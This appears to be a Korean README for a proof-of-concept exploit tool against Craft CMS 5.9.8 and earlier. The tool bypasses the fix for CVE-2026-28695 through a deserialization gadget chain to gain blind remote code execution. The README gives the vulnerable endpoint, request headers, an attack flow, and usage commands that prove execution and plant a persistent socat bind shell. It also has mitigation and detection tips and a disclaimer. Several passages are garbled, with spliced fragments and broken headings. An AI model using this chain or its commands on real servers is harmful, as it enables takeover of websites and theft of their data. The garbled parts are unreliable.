Craft CMS에서 인증된 **블라인드** 원격 코드 실행. CVE-2026-28695에 대한 수정.
element-search)CVSS 3.x : 8.8 HIGH (대략 — 확인 필요)
CWE : CWE-502 (안전하지 않은 객체 인스턴스화) + CWE-1336 (SSTI 기원)
기반 : CVE-2026-28695 (create() + Symfony Process를 통한 SSTI)
수정 : 권고 수정 e31e508 (create()를 BaseObject로 제한) — 여기서 우회됨
영향 : CVE-2026-28695 수정이 적용된 Craft CMS ≤ 5.9.8
Craft CMS의 인증된 블라인드 원격 코드 실행. CVE-2026-28695의 공식 수정은
create()를 yii\base\BaseObject 하위 클래스로만 제한한다. 그러나
yii\behaviors\AttributeTypecastBehavior 가젯은 BaseObject이면서도 여전히
call_user_func() 싱크에 도달하므로 필터를 통과한다. Twig가 아닌
admin/actions/element-search/search 액션을 통해 전달되므로 CRAFT_ENABLE_TWIG_SANDBOX도
우회한다. Content Editor 계정이면 충분하다.
Craft의 element-search 컨트롤러는 공격자의 JSON을 Yii의 Craft::createObject() /
Instance 메커니즘을 통해 실제 PHP 객체로 역직렬화한다. attributeTypes가 속성을
호출 가능한 [Psy\Readline\Hoa\ConsoleProcessus, execute]에 매핑하는
AttributeTypecastBehavior를 부착하고 beforeSave 이벤트를 발생시키면, 타입캐스트는
다음과 같이 된다:
call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")
이 엔드포인트는 항상 HTTP 500을 응답하고 명령 출력을 반환하지 않는다 — 실행은 블라인드다.
create() + Symfony Process를 통한 SSTI로, Twig 싱크
(일반적으로 Entry Types → Title Format)에서 도달한다.e31e508 은 create()를 BaseObject 하위 클래스로 제한하며,
대상은 또한 CRAFT_ALLOW_ADMIN_CHANGES=false (settings → 403) 그리고
CRAFT_ENABLE_TWIG_SANDBOX=true로 실행된다. 문서화된 벡터는 삼중으로 차단된다.yii\behaviors\AttributeTypecastBehavior -> Psy\Readline\Hoa\ConsoleProcessus::execute
구조적으로 이중 우회:
element-search는 PHP 객체 경로이며, Twig 렌더가 아니다.
CRAFT_ENABLE_TWIG_SANDBOX는 템플릿 엔진만 제한하므로 적용되지 않는다.create()를 BaseObject로 제한한다. AttributeTypecastBehavior
→ yii\base\Behavior → yii\base\BaseObject이므로 새로운 제약을 충족하면서도
여전히 실행 싱크를 제공한다. 수정은 하나의 클래스 계열을 닫았을 뿐,
BaseObject 클래스 자체를 닫은 것이 아니다.엔드포인트:
POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json
Hoa\ConsoleProcessus::execute()는 명령을 escapeshellcmd() 를 통해 실행한다:
| && ; > < $() ' " → 체이닝, 파이프, 리다이렉션, 고전적인 bash
리버스 셸 불가.: , /이것이 페이로드가 리버스 셸이 아니라 단일 socat TCP-LISTEN,fork EXEC 바인드 셸
(인수는 : / , / /)인 이유다.
Attacker (Content Editor) Craft CMS 5.9.8
| |
| GET /admin/login (scrape CSRF) |
|--------------------------------------->|
| POST users/login (jenny:******) |
|--------------------------------------->|
| GET /admin/dashboard (JS csrf) |
|<---------------------------------------|
| POST element-search/search |
| AttributeTypecastBehavior gadget |
| typecastBeforeSave = "<CMD>" |
|--------------------------------------->| call_user_func(
| HTTP 500 (blind, no output) | [ConsoleProcessus,execute], CMD)
|<---------------------------------------| -> escapeshellcmd(CMD) -> exec
| |
| oracle: "sleep 5" -> +~5s latency |
| shell: socat TCP-LISTEN:4445 bind |
| 상태 | 버전 |
|---|---|
| 취약 | CVE-2026-28695 수정이 적용된 Craft CMS ≤ 5.9.8 |
| 비고 | 가젯은 인증된 CP 세션을 필요로 함 |
| 파일 | 역할 |
|---|---|
exploit.py | PoC: 로그인 → 타이밍 오라클 확인 → 단일 명령 → 바인드 셸 |
README.md | 이 파일 |
requests 필요 (pip install requests).
# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check
# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"
# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445
# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind
무슨 일이 일어나는가:
AttributeTypecastBehavior 가젯을 element-search로 전송한다.--check는 주입된 지연으로 블라인드 실행을 증명하고, --bind는 socat 리스너를 설치한다.create()만이 아님), element-search 조건 처리를 감사하라.CRAFT_ALLOW_ADMIN_CHANGES=false를 유지하고 Content Editor 권한을 최소화하라 —
여기서 인증이 유일한 전제 조건이다.ConsoleProcessus::execute 가젯에 도달할 수 있는 번들 psy/psysh (Hoa) 의존성을
제거하거나 업그레이드하라.__class, as rce, 또는 AttributeTypecastBehavior를 포함하는
element-search/search 본문에 경보를 설정하고, 해당 액션에서 발생하는 HTTP 500 폭주를
표시하라.e31e508 (create() → BaseObject 제한)AttributeTypecastBehavior / yii\base\Security 문서이 프로젝트는 승인된 보안 테스트, 교육, 방어 연구 목적으로만 사용됩니다. 적용 가능한 법률과 실험실 또는 고객의 교전 규칙을 준수할 책임은 사용자에게 있습니다.